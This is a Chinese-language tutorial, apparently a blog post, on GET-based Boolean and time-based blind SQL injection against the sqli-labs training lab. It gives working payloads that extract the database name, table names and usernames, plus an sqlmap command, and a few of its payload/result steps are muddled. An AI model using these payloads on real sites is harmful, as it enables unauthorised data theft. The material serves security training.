基於GET的盲注

盲注介紹
在這裏插入圖片描述
先進行Boolean盲注,若實在不行再進行時間盲注
GET基於Boolean的盲注,實驗:sqli-labs less -8

輸入:?id=1' and length(database()) = 10 --+
輸出:無任何信息
由此證明:數據庫數爲10錯誤
輸入:?id=1' and length(database()) = 8 --+
輸出:You are in...........
由此證明:數據庫數爲8正確

GET基於時間的盲注,實驗:sqli-labs less -9
使用IF(查詢語句,1,sleep(5)),即如果我們的查詢語句爲真,那麼直接返回結果;如果我們的查詢語句爲假,那麼過5秒之後返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確,即我們的出發點就回到了之前的基於布爾的SQL盲注,也就是構造查詢語句來判斷結果是否爲真。
步驟一 枚舉出當前數據庫名
先判斷能不能基於時間盲注來展開注入錯誤的語句,等了5秒才返回的,表示錯誤,立即返回表示正確, 能基於時間的錯誤進行盲注

輸入:?id=1‘ and sleep(5) --+
爆當前數據庫名稱:使用二分法進行
輸入:?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) --+

在這裏插入圖片描述

輸出:立刻返回 
由此證明:第一個字母大於114
輸入:?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) --+

在這裏插入圖片描述

輸出:過了5秒才返回 
由此證明:字母小<115 應該是ascii115對應s
依次類推
......

這裏我們假設我們把庫名報出來了 我們要爆表名

步驟二 爆表名

輸入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0,sleep(5)) --+
輸出:立即返回
由此證明:大於100成立

輸入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5)) --+
輸出:過了5秒才返回 
由此證明:那麼這是錯誤的,值在101-105之間
        依次類推,進一步縮小範圍,直到鎖定準確的值
爆字段名與爆表名同理

步驟三 爆字段值
爆字段值的語句構造方法

?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5)) --+

sqlmap安全測試:–technique

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"  --technique --dbs

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章